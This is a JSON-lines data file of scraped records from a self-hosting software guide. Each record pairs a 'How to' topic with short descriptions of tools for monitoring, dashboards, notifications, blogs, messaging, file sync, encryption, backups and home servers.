{"id": "gh_4cac79e181d0", "question": "How to: Monitoring", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Proxmox Mail Gateway](https://www.proxmox.com/en/proxmox-mail-gateway) is an open-source email security solution protecting your mail server against all email threats from the moment they emerge. \n\n[M2MLabs MainSpring](http://www.m2mlabs.com/) is an application framework for building machine-to-machine applications like vehicle tracking or machine remote monitoring. In such applications typically a remote device equipped with sensors (e.g. gps, temperature, pressure) and actors communicates with a server application that is running the device communication protocol, device configuration, storage of data sent by the devices as well as the application business logic and the presentation layer. \n\n[VictoriaMetrics](https://victoriametrics.com/) is a fast and scalable open source time series database and monitoring solution which exists in a Single and in a cluster version. It is compatible with Prometheus pull model and supports a [wide variety of ingestion protocols](https://docs.victoriametrics.com/#prominent-features): Influx, Graphite, Prometheus remote_write, Prometheus exposion format, OpenTSDB put message, JSON line format, Arbitrary CSV data, native binary formant, DataDog agent or DogStatsD; as way as many ways to query data via PromQL or [MetricsQL](https://docs.victoriametrics.com/MetricsQL.html) from Grafana or own [VMUI](https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#vmui).\n\n[Kestra](https://github.com/kestra-io/kestra) is an infinitely scalable orchestration and scheduling platform, creating, running, scheduling, and monitoring millions of complex pipelines. \n\n[InfluxDB](https://www.influxdata.com) is an open source time series database, purpose-built by InfluxData for monitoring metrics and events, provides real-time visibility into stacks, sensors, and systems. Use InfluxDB to capture, analyze, and store millions of points per second, meet demanding SLA's, and chart a path to automation.\n\n[Grafana](https://grafana.com/oss/grafana/) is a tool that allows you to query, visualize, alert on and understand your metrics no matter where they are stored. \n\n[Prometheus](https://prometheus.io/) is a free software application used for event monitoring and alerting. It records real-time metrics in a time series database (allowing for high dimensionality) built using a HTTP pull model, with flexible queries and real-time alerting.\n\n[Loki](https://grafana.com/oss/loki/) is a horizontally-scalable, highly-available, multi-tenant log aggregation system inspired by Prometheus. It is designed to be very cost effective and easy to operate. It does not index the contents of the logs, but rather a set of labels for each log stream.\n\n[Thanos](https://thanos.io/) is a set of components that can be composed into a highly available metric system with unlimited storage capacity, which can be added seamlessly on top of existing Prometheus deployments.\n\n[Wyze](https://wyze.com/) is a great security and monitoring application to live stream HD video from the security cameras from anywhere in the world. \n\n[Uptime Kuma](https://uptime.kuma.pet/) is a fancy self-hosted monitoring tool.\n\n[Gatus](https://gatus.io/) is a developer-oriented health dashboard that gives you the ability to monitor your services using HTTP, ICMP, TCP, and even DNS queries as well as evaluate the result of said queries by using a list of conditions on values like the status code, the response time, the certificate expiration, the body and many others. \n\n[Upptime](https://upptime.js.org) is the open-source uptime monitor and status page, powered entirely by GitHub Actions, Issues, and Pages.\n\n[HertzBeat](https://github.com/dromara/hertzbeat) is an open-source, real-time monitoring system with custom-monitor and agentless. It supports web service, database, os, middleware and more.\n\n[Tautulli](https://tautulli.com/) is a python based web application for monitoring, analytics and notifications for [Plex Media Server](https://plex.tv/).\n\n[Flower](https://flower.readthedocs.io/) is a web based tool for monitoring and administrating Celery clusters.\n\n[Weave Scope](https://www.weave.works/oss/scope/) is a tool for Troubleshooting & Monitoring for Docker & Kubernetes. It automatically generates a map of your application, enabling you to intuitively understand, monitor, and control your containerized, microservices-based application.\n\n[Statping (Status Page & Monitoring Server)](https://github.com/statping/statping) is an easy to use Status Page for your websites and applications. Statping will automatically fetch the application and render a beautiful status page with tons of features for you to build an even better status page.\n\n[Vector](https://vector.dev/) is a high-performance, end-to-end (agent & aggregator) observability data pipeline that puts you in control of your observability data. [Collect](https://vector.dev/docs/reference/configuration/sources/), [transform](https://vector.dev/docs/refe", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318158"}
{"id": "gh_733177e57674", "question": "How to: Dashboards", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n[Adagios](http://adagios.org/) is a Web based Nagios configuration interface.\n\n[Dash](https://github.com/afaqurk/linux-dash) is a low-overhead monitoring web dashboard for a GNU/Linux machine.\n\n[Thruk](http://www.thruk.org/) is a Multibackend monitoring web interface with support for Naemon, Nagios, Icinga and Shinken.\n\n[Uchiwa](https://uchiwa.io) is a simple dashboard for the Sensu monitoring framework.\n\n[InfluxDB](https://www.influxdata.com) is an open source time series database, purpose-built by InfluxData for monitoring metrics and events, provides real-time visibility into stacks, sensors, and systems. Use InfluxDB to capture, analyze, and store millions of points per second, meet demanding SLA's, and chart a path to automation.\n\n[Grafana](https://grafana.com/oss/grafana/) is a tool that allows you to query, visualize, alert on and understand your metrics no matter where they are stored. \n\n[Prometheus](https://prometheus.io/) is a free software application used for event monitoring and alerting. It records real-time metrics in a time series database (allowing for high dimensionality) built using a HTTP pull model, with flexible queries and real-time alerting.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318165"}
{"id": "gh_a2a3b832773f", "question": "How to: Notifications", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Apprise](https://github.com/caronc/apprise) is a tool that allows you to send a notification to almost all of the most popular notification services available to us today such as: Telegram, Discord, Slack, Amazon SNS, Gotify, etc.\n\n[ntfy](https://ntfy.sh/) is a simple HTTP-based pub-sub notification service. It allows you to send notifications to your phone or desktop via scripts from any computer, entirely without signup, cost or setup. It's also open source if you want to run your own.\n\n[Countly](https://github.com/Countly/countly-server) is a product analytics solution and innovation enabler that helps teams track product performance and customer journey and behavior across mobile, web, and desktop applications. [Ensuring privacy by design](https://count.ly/your-data-your-rules), Countly allows you to innovate and enhance your products to provide personalized and customized customer experiences, and meet key business and revenue goals.\n\n[notifiers](https://github.com/liiight/notifiers) is a general wrapper for a variety of 3rd party providers and built in ones (like SMTP) aimed solely at sending notifications.\n\n[Pushover](https://pushover.net/) is a tool that makes it easy to get real-time notifications on your Android, Android Wear, iPhone, iPad, Apple Watch and Desktop.\n\n[Simplepush](https://simplepush.io/) is a tool to send end-to-end encrypted push notifications to your Android and iPhone.\n\n[UnifiedPush](https://unifiedpush.org/) is a set of specifications and tools that lets the user choose how push notifications are delivered. All in a free and open source way.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318177"}
{"id": "gh_351e08f6646c", "question": "How to: Websites/Blogs", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Hugo](https://github.com/gohugoio/hugo) is a static HTML and CSS website generator written in Go. It is optimized for speed, ease of use, and configurability. Hugo takes a directory with content and templates and renders them into a full HTML website.\n\n[Lyra](https://docs.lyrasearch.io/) is a fast, in-memory, typo-tolerant, full-text search engine written in TypeScript. \n\n[Hugo Lyra](https://github.com/paolomainardi/hugo-lyra) is a  typescript module for creating LyraSearch indexes for static Hugo sites, it comes with server and client libraries. \n\n[Kopage](https://www.kopage.com/) is  a self-hosted Website Builder. It's compatible with cPanel and other popular hosting control panels. Compatible with cPanel and other popular hosting control panels.\n\n[Ghost](https://ghost.org/docs/hosting/) is a fully-managed PaaS & self-hosted open source software, and can be installed and maintained relatively easily on just about any VPS hosting provider.\n\n[Cloudron](https://www.cloudron.io/) is a self-hosted immutable infrastructure design allows easy migration of apps across servers. In fact, you can move your entire server along with all its apps to another cloud provider in no time.\n\n[Directus](https://directus.io/) is a real-time API and App dashboard for managing SQL database content.\n\n[Haven](https://havenweb.org/) is a Self-hosted private blog instead of using Facebook.\n\n[Antville](https://antville.org/) is an open source project aimed at the development of a simple site hosting system with many advanced [features](https://github.com/antville/antville/wiki/Features). \n\n[October](https://octobercms.com/) is a Self-hosted Content Management System (CMS) and web platform whose sole purpose is to make your development workflow simple again. \n\n[Grav](https://getgrav.org/) is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are already up and running. It comes with a powerful Package Management System to allow for simple installation and upgrading of plugins and themes, as well as simple updating of Grav itself.\n\n[Orchard](https://github.com/OrchardCMS/Orchard) is a free, open source, community-focused Content Management System built on the ASP.NET MVC platform.\n\n[Netlify CMS](https://www.netlifycms.org/) is a CMS for static site generators. Give users a simple way to edit and add content to any site built with a static site generator.\n\n[Zola](https://www.getzola.org/) is a fast static site generator in a single binary with everything built-in. \n\n[FlatPress](https://www.flatpress.org/) is a lightweight, easy-to-set-up blogging engine. \n\n[Chyrp Lite](https://chyrplite.net/) is an ultra-lightweight blogging engine. It provides four beautiful blog themes and a friendly administration console, all fully navigable on a broad range of devices, thanks to the power of responsive HTML5. \n\n[WriteFreely](https://writefreely.org/) is an open source platform for building a writing space on the web.\n\n[Sandstorm](https://sandstorm.io/) is an open source project built by a community of volunteers with the goal of making it really easy to run open source web applications.\n\n[YunoHost](https://yunohost.org/) is a Debian-based distribution which strives to make it easy to quickly set up a server and host web applications.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318188"}
{"id": "gh_229440ca02fb", "question": "How to: Communications", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Matrix](https://matrix.org/) is a tool that gives you simple HTTP APIs and SDKs (iOS, Android, Web) to create chatrooms, direct chats and chat bots, complete with end-to-end encryption, file transfer, synchronised conversation history, formatted messages, read receipts and more.\n\n[Postmoogle](https://gitlab.com/etke.cc/postmoogle) is an actual SMTP server that allows you to send and receive emails on your matrix server. It can't be used with arbitrary email providers, because it acts as an actual email provider itself, so you can use it to send emails from your apps and scripts as well.\n\n[SimpleX](https://simplex.chat/) is a privacy redefined messenger without user IDs. Other apps have user IDs: **Signal, Matrix, Session, Briar, Jami, Cwtch, etc.** SimpleX does not, not even random numbers.\n\n[Element](https://element.io/) is a Matrix web client built using the [Matrix React SDK](https://github.com/matrix-org/matrix-react-sdk).\n\n[Mattermost](https://mattermost.com/) is a secure, open source platform for communication, collaboration, and workflow orchestration across tools and teams.\n\n[Mastadon](https://joinmastodon.org/) is a a decentralized social media platform that supports audio, video and picture posts, accessibility descriptions, polls, content warnings, animated avatars, custom emojis, thumbnail crop control, and more, to help you express yourself online.\n\n[Telegram](https://telegram.org/) is a cross-platform, cloud-based instant messaging service. It has an open API and source code free for everyone. Telegram also provides end-to-end encrypted video calling, VoIP, file sharing and several other features.\n\n[Berty](https://github.com/berty/berty) is a secure peer-to-peer messaging app that works with or without internet access, cellular data or trust in the network.\n\n[Pleroma](https://pleroma.social/) is a free and open communication for everyone. Pleroma is social networking software compatible with other Fediverse software such as Misskey, Pixelfed, Mastodon and many others. \n\n[ffsend](https://gitlab.com/timvisee/ffsend) is a easily and securely share files from the command line. A fully featured Firefox Send client. \n\n[Nostr(Notes and Other Stuff Transmitted by Relays)](https://github.com/nostr-protocol/nostr) is a truly censorship-resistant alternative to Twitter that has a chance of working.\n\n[Diaspora](https://diasporafoundation.org/) is a privacy-aware, distributed, open source social network.\n\n[Hubzilla](https://framagit.org/hubzilla/core) is a general purpose communication server integrated with a web publishing system and a decentralised permission system.\n\n[Expanse](https://github.com/jc9108/expanse) is a fully selfhosted multi-user web app for externally storing Reddit items (saved, created, upvoted, downvoted, hidden) to bypass Reddit's 1000-item listing limits.\n\n[giscus](https://giscus.app/) is a comments system powered by GitHub Discussions. Let visitors leave comments and reactions on your website via GitHub.\n\n[Mailroute](https://mailroute.net/) is a great tool that provides the best email filtering & security( CMMC, NIST 800-171, DFARS, DISA, HIPPA). It protects your inbox, stop spam, viruses, ransomware, security threats & more with email filtering services. With an easy setup on Office 365, Google & more.\n\n[Docker Mailserver](https://github.com/docker-mailserver/docker-mailserver) is a production-ready fullstack but simple mail server (SMTP, IMAP, LDAP, Antispam, Antivirus, etc.) running inside a container. Only configuration files, no SQL database. \n\n[Diun](https://github.com/crazy-max/diun) is a CLI application written in Go and delivered as a single executable (and a Docker image) to receive notifications when a Docker image is updated on a Docker registry.\n\n[iRedMail](https://www.iredmail.org/) is a self-hosted email server.\n\n[iRedMail Easy](https://www.iredmail.org/easy.html) is a web-based deployment platform, it offers an easy to use web interface to help you deploy iRedMail server, keep your server up to date, also get fast and professional technical support from iRedMail team.\n\n[Spider Email Archiver](https://spiderd.io/) is  an On-Premises Email Archiving Software.\n\n[MailCow](https://github.com/mailcow/mailcow-dockerized) is a self-hosted email server.\n\n[Nextcloud Talk](https://nextcloud.com/talk/) is a on-premises, private audio/video conferencing and text chat through browser and mobile interfaces with integrated screen sharing and SIP integration.\n\n[Poste.io Email Server](https://poste.io/) is self-hosted SMTP + IMAP + POP3 + Antispam + Antivirus Web administration + Web email. It is easy setup with a [DNS guide]((https://poste.io/doc/configuring-dns)) for protect from spam.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318236"}
{"id": "gh_fce58cafbe69", "question": "How to: Business Management", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Nextcloud](http://nextcloud.com/) is a suite of enterprise client-server software for creating and using file hosting services. It offers an on-premise Universal File Access and sync platform with powerful collaboration capabilities and desktop, mobile and web interfaces. \n\n[Odoo](https://www.odoo.com/) is a suite of open source business apps that cover all your company needs: CRM, eCommerce, accounting, inventory, point of sale, project management, etc.\n\n[Kanboard](https://kanboard.org/) is project management software that focuses on the Kanban methodology.\n\n[Eden Workplace](https://www.edenworkplace.com/products) is a complete workplace management platform that lets you achieve more. Desk Booking Software to make desk reservations easier for your team, including assigning permanent and hybrid desks, providing wayfinding solutions for employees.\n\n[Matomo](https://matomo.org/) is an ethical alternative where you won't make privacy sacrifices or compromise your site. Matomo is the Google Analytics alternative that protects your data and your customer's privacy. \n\n[Plausible Analytics](https://plausible.io/) is a simple, lightweight (< 1 KB), open-source and privacy-friendly alternative to Google Analytics. It doesn’t use cookies and is fully compliant with GDPR, CCPA and PECR. You can self-host Plausible or have us run it for you in the Cloud. \n\n[Mailroute](https://mailroute.net/) is a great tool that provides the best email filtering & security( CMMC, NIST 800-171, DFARS, DISA, HIPPA). It protects your inbox, stop spam, viruses, ransomware, security threats & more with email filtering services. With an easy setup on Office 365, Google & more.\n\n[InvoicePlane](https://www.invoiceplane.com/) is a self-hosted open source application for managing your quotes, invoices, clients and payments.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318245"}
{"id": "gh_decc80d85d11", "question": "How to: Collaboration & Synchronization", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Syncthing](https://syncthing.net/) is a continuous file synchronization program. It synchronizes files between two or more computers in real time.\n\n[Synology](https://www.synology.com/) is a tool that allows you to easily access and manage files in your Synology Drive on the go. Apart from common file types, such as documents, images, videos and music, you can also open Synology Office document, spreadsheets and slides in the user-friendly viewer provided by Drive.\n\n[Nextcloud](http://nextcloud.com/) is a suite of client-server software for creating and using file hosting services. It offers an on-premise Universal File Access and sync platform with powerful collaboration capabilities and desktop, mobile and web interfaces. \n\n[Lsyncd (Live Syncing Mirror Daemon)](https://github.com/lsyncd/lsyncd) is a tool used in Linux systems to keep directories synchronized. These directories can be found locally, within the same machine, or remotely, on different machines. For remote synchronization, this article focuses on using SSH to accomplish it.\n\n[FileRun](https://hub.docker.com/r/filerun/filerun) is a self-hosted Google Drive alternative. It is a full featured web based file manager with an easy to use user interface.\n\n[FileBrowser](https://hub.docker.com/r/filebrowser/filebrowser) provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit your files. It allows the creation of multiple users and each user can have its own directory.\n\n[Rsync](https://rsync.samba.org/) is a utility in the command line which enables users to transfer and synchronize files efficiently between a computer and an external hard drive in the entire connected network.\n\n[Warpinator](https://github.com/linuxmint/warpinator) is a free, open-source tool for sending and receiving files between computers that are on the same network. \n\n[LocalSend](https://localsend.org/) is a free and open-source tool that allows you to send files and messages over the local LAN network to nearby devices. Everything is sent securely over HTTPS. The TLS/SSL certificate is generated on the fly on each device. It's avilable on Windows, macOS, Linux, iOS, and Android.\n\n[FileZilla Client](https://filezilla-project.org/) is a fast and reliable cross-platform FTP, FTPS and SFTP client with lots of useful features and an intuitive graphical user interface. \n\n[Dragit](https://github.com/sireliah/dragit) is an application for intuitive file sharing between devices. It's useful for when you want to send file from one computer to another with minimal effort. Dragit automatically detects devices in the local network with help of mDNS protocol and allows you to send file immediately. \n\n[WinFsp](https://github.com/winfsp/winfsp) is a set of software components for Windows computers that allows the creation of user mode file systems. In this sense it is similar to FUSE (Filesystem in Userspace), which provides the same functionality on UNIX-like computers.\n\n[SSHFS-Win](https://github.com/winfsp/sshfs-win) is a minimal port of SSHFS to Windows. Looking under the hood it uses Cygwin for the POSIX environment and WinFsp for the FUSE (Filesystem in Userspace) functionality.\n\n[RiftShare](https://riftshare.app) is a cross platform (Windows, MacOS, Linux) file sharing tool that supports fully encrypted transfers both on the local network and off network using a simple passphrase. RiftShare uses [magic-wormhole](https://github.com/magic-wormhole/magic-wormhole) under the hood and is compatible with other magic-wormhole clients. It is also fully open source and licensed under the GPLv3. \n\n[Usermode FTP Server](https://gitlab.com/ergoithz/umftpd) is a tool that let's you start an FTP server as user and transfer files with any FTP client. Allowing you to access your files directly with many file browsers' builtin FTP support: Windows File Explorer, Thunar, Gnome Files, Dolphin and many more. \n\n[TagSpaces](https://www.tagspaces.org/) is a free, no vendor lock-in, open source application for organizing, annotating and managing local files with the help of tags. It features advanced note taking functionalities and some capabilities of to-do apps. It's available for Windows, Linux, Mac OS and Android. \n\n[Listmonk](https://listmonk.app/) is a standalone, self-hosted, newsletter and mailing list manager. It is fast, feature-rich, and packed into a single binary.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318257"}
{"id": "gh_31b92c641f63", "question": "How to: Encryption", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[VeraCrypt](https://www.veracrypt.fr/code/VeraCrypt/) is free open-source disk encryption software for Windows, Mac OS X and Linux. The file encryption, data encryption performed by VeraCrypt is real-time (on-the-fly), automatic, transparent, needs very little memory, and does not involve temporary unencrypted files.   \n[AxCrypt](https://axcrypt.net/) is an inexpensive and effective encryption tool for Windows, macOS, iOS, and Android.\n\n[AESCrypt](https://www.aescrypt.com/) is an advanced file encryption utility that integrates with the Windows shell or runs from the Linux command prompt to provide a simple, yet powerful, tool for encrypting files using the Advanced Encryption Standard (AES). It is available for Windows, MacOS, and Linux.\n\n[Linux Unified Key Setup (LUKS)](https://www.redhat.com/sysadmin/disk-encryption-luks) is a disk encryption specification created by Clemens Fruhwirth in 2004 and was originally intended for Linux. It uses device mapper crypt ( dm-crypt) as a kernel module to handle encryption on the block device level.\n\n[GNU Privacy Guard (GnuPG)](https://gnupg.org/) is a complete and free implementation of the OpenPGP standard as defined by RFC4880 (also known as PGP ). It allows you to encrypt and sign your data and communications; it features a versatile key management system, along with access modules for all kinds of public key directories.\n\n[Pretty Good Privacy (PGP)](https://en.wikipedia.org/wiki/Pretty_Good_Privacy) is an encryption program that provides cryptographic privacy and authentication for data communication. It's used for signing, encrypting, and decrypting texts, e-mails, files, directories, and whole disk partitions and to increase the security of e-mail communications. \n\n[Deadbolt](https://github.com/alichtman/deadbolt) is a Dead-simple file encryption for any OS.\n\n[Infisical](https://infisical.com/) is an open-source, end-to-end encrypted platform to sync secrets and configs across your team and infrastructure. \n\n[Hemmelig.app](https://github.com/HemmeligOrg/Hemmelig.app) is a tool that keeps your sensitive information out of chat logs, emails, and more with encrypted secrets. \n\n **How Encryption Keys work**\n* **Symmetric** is a data encryption method whereby the same private key is used to encode and decode information.\n  \n  * **Asymmetric** is a data encryption method that allows users to encrypt information using shared keys. For example, if you need to send a message across the internet, but you don't want anyone but the intended recipient to see what you've written.\n \n **Types of Encryption**\n \n  * **Triple DES (Triple Data Encryption Algorithm)** is a symmetric-key block cipher, which applies the DES cipher algorithm three times to each data block(contains 64 bits of data).\n  \n  * **AES (Advanced Encryption Standard)** is an algorithm that encrypts and decrypts data in blocks of 128 bits. It can do this using 128-bit, 192-bit, or 256-bit keys.\n  \n  * **RSA (Rivest–Shamir–Adleman)** is a type of public-key cryptography used for secure data transmission of e-mail and other digital transactions over the Internet. \n  \n   * **Twofish**  is a symmetric key block cipher with a block size of 128 bits and key sizes up to 256 bits. It is an advanced version of Blowfish encryption.\n  \n  * **Format Preserving Encryption (FPE)** is a valid encryption algorithm to be used for compliance with NIST standards. It is mostly used in on-premise encryption and tokenization solutions.\n \n **Application Level Encryption**\n \n  * **Hashes** is a function that converts an input of letters and numbers into an encrypted output of a fixed length. For example, algorithms such as [MD5 (Message Digest 5)](https://en.wikipedia.org/wiki/MD5) or [SHA (Secure Hash Algorithm)](https://en.wikipedia.org/wiki/Secure_hash_algorithms).\n  \n  * **Digital Certificates** is a file that verifies the identity of a device or user and enables encrypted connections. A digital signature is a hashing approach that uses a numeric string to provide authenticity and validate identity. Digital certificates are typically issued by a **certificate authority (CA)**, which is a trusted third-party entity that issues digital certificates for use by other parties.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318274"}
{"id": "gh_bfd3351af56f", "question": "How to: Snapshots Management/System Recovery", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[rsnapshot](https://rsnapshot.org/) is a filesystem snapshot utility based on rsync. This makes it easy to make periodic snapshots of local machines, and remote machines over ssh.\n\n[rsync.net](https://rsync.net/) is a Cloud Storage for Offsite Backup that give you an empty UNIX filesystem to access with any SSH tool. Built on ZFS for data security and fault tolerance with support for rsync/sftp/scp/borg/rclone/restic/git-annex.\n\n[ZnapZend](https://www.znapzend.org/) is a high performance open source ZFS backup with mbuffer and ssh support. It uses the built-in snapshot functionality of ZFS for fully consistent backups. For each fileset, a pre- and post-snapshot command can be configured to quiet down any software writing to the fileset prior to snapshotting.\n\n[Sanoid](https://github.com/jimsalterjrs/sanoid) is a policy-driven snapshot management tool for ZFS filesystems.\n\n[ZFSBootMenu](https://zfsbootmenu.org/) is a Linux bootloader that attempts to provide an experience similar to FreeBSD's. This allows a user to have multiple \"boot environments\" (with different distributions, for example), manipulate snapshots before booting, and, for the adventurous user, even bootstrap a system installation via ```zfs recv```.\n\n[Btrfs maintenance toolbox](https://github.com/kdave/btrfsmaintenance) is a set of scripts supplementing the btrfs filesystem and aims to automate a few maintenance tasks. This means the scrub, balance, snapshots, trim or defragmentation.\n\n[Btrbk](https://github.com/digint/btrbk) is a backup tool for btrfs subvolumes, taking advantage of btrfs specific capabilities to create atomic snapshots and transfer them incrementally to your backup locations.\n\n[ksync](https://github.com/ksync/ksync) is a toool that sync files between your local system and a kubernetes cluster. It transparently updates containers running on the cluster from your local checkout. \n\n[Verify](https://github.com/VerifyTests/Verify) is a snapshot tool that simplifies the assertion of complex data models and documents.\n\n[Timeshift](https://github.com/linuxmint/timeshift) is a Linux application for providing functionality to restore your system just like Windows System Restore tool. Timeshift makes snapshots of your system in regular intervals which are further used at the time of restoration or undo all changes in the system.\n\n[CRIU (Checkpoint and Restore in Userspace)](https://github.com/checkpoint-restore/criu) is a utility to checkpoint/restore Linux tasks. Using this tool, you can freeze a running application (or part of it) and checkpoint it to a hard drive as a collection of files. You can then use the files to restore and run the application from the point it was frozen at. \n\n[Rsync time backup](https://github.com/laurent22/rsync-time-backup) is a Time Machine style backup with rsync. It creates incremental backups of files and directories to the destination of your choice. The backups are structured in a way that makes it easy to recover any file at any point in time. It works on Linux, macOS and Windows (via WSL).\n\n[rdiff-backup](https://rdiff-backup.net/) is a simple backup tool which can be used locally and remotely, on Linux and Windows, and even cross-platform between both. Users have reported using it successfully on FreeBSD and MacOS.\n\n[Mainframer](https://github.com/buildfoundation/mainframer) is a tool that executes a command on a remote machine while syncing files back and forth. The process is known as remote execution (in general) and remote build (in particular cases).", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 18322, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318283"}
{"id": "gh_14be37421d06", "question": "How to: Home Server", "question_body": "About mikeroyal/Self-Hosting-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[Home Assistant](https://www.home-assistant.io/) is an open source home automation that puts local control and privacy first. Home Assistant is powered by a worldwide community of tinkerers and DIY enthusiasts that runs great on Raspberry Pi. \n\n[Homebridge](https://homebridge.io/) is a software framework that allows you to integrate with smart home devices that do not natively support [HomeKit](https://www.apple.com/shop/accessories/all/homekit). There are over 2,000 Homebridge plugins supporting thousands of different smart accessories. \n\n[Homebridge UI](https://github.com/oznu/homebridge-config-ui-x) is a tool that provides an easy to use interface to manage your Homebridge plugins, configuration and accessories.\n\n   - Install and configure Homebridge plugins.\n   - Monitor your Homebridge server via a fully customisable widget-based dashboard.\n   - View and control Homebridge accessories.\n   - Backup and Restore your Homebridge instance.\n\n[ESPHome](https://esphome.io/) is a system to control your ESP8266/ESP32 by simple yet powerful configuration files and control them remotely through Home Automation systems.\n\n[Shelly Cloud](https://shelly.cloud/) is a Smart home control tool that has been perfected and provides precise monitoring of your Shelly devices no matter where you are. Shelly devices are compatible with Alexa, Google Home, Android, and iOS. \n\n[Zigbee](https://csa-iot.org/all-solutions/zigbee/) is the full-stack, secure, reliable, and market-proven solution used by a majority of large smart home ecosystem providers, such as Amazon's Echo Plus, Samsung SmartThings, Signify (Philips Hue), and more.\n\n[openHAB](https://github.com/openhab) is a cross-platform software with the aim to integrate all kinds of Smart Home technologies, devices, etc. \n\n[Z-Wave](https://www.z-wave.com/) is the leading wireless communications protocol behind many of the secure, trusted brands that are working to make everyone's home smarter and safer.\n\n[Homey](https://homey.app/) is an applciation to control, automate and monitor your entire smart home from your phone, tablet or desktop. \n\n[Caddy](https://caddyserver.com/) is the only web server to use HTTPS automatically and by default. Caddy obtains and renews TLS certificates for your sites automatically.\n\n[Bazarr](https://hub.docker.com/r/linuxserver/bazarr) is a companion application to Sonarr and Radarr. It can manage and download subtitles based on your requirements. You define your preferences by TV show or movie and Bazarr takes care of everything for you. \n\n[Sonarr](https://github.com/Sonarr/Sonarr) is a PVR for Usenet and BitTorrent users. It can monitor multiple RSS feeds for new episodes of your favorite shows and will grab, sort and rename them. \n\n[Homarr](https://github.com/ajnart/homarr) is a customizable browser's home page to interact with your homeserver's Docker containers (e.g. Sonarr/Radarr)\n\n[Midarr](https://github.com/midarrlabs/midarr-server) is a free and open source (and always will be), Midarr aims to provide a tailored experience for you and your users:\n\n   * Beautifully crafted user interface.\n   * Real-time online statuses.\n   * Simple and easy invite system.\n   * Integrates with your existing services, Radarr and Sonarr.\n\n[Rustdesk](https://rustdesk.com/) is an open source virtual/remote desktop infrastructure for everyone. Display and control your PC (Windows, macOS, and Linux) and Android devices. \n\n[TinyPilot](https://tinypilotkvm.com/) is a tool that enables KVM over IP letting you control any computer remotely.\n\n[PM2](https://github.com/Unitech/pm2) is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.\n\n[authentik](https://github.com/goauthentik/authentik) is an open-source Identity Provider focused on flexibility and versatility. You can use authentik in an existing environment to add support for new protocols. authentik is also a great solution for implementing signup/recovery/etc in your application, so you don't have to deal with it.\n\n[ESPHome Remote](https://github.com/landonr/esphome-remote) IS a WI-FI smart home remote with display that runs on ESPHome. It uses Lilygo T-Display or M5Stack Fire.\n\n[Tdarr](https://tdarr.io/) is a distributed transcode automation application using FFmpeg/HandBrake + Audio/Video library analytics + video health checking (Windows, macOS, Linux & Docker). A common use for Tdarr is to simply convert video files from h264 to h265 (hevc), saving 40%-50% in size.\n\n[AppFlowy](https://www.appflowy.io/) is an open-source alternative to Notion where you're in charge of your data and customizations. \n\n[deemix](https://deemix.app/) is a barebone [deezer](https://www.deezer.com/) downloader library built from the ashes of Deezloader Remix.\n\n[Neko](https://github.com/m1k1o/neko/) is a self hosted virtual browser that runs", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 18322, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Self-Hosting-Guide", "collected_at": "2026-01-17T08:18:06.318301"}
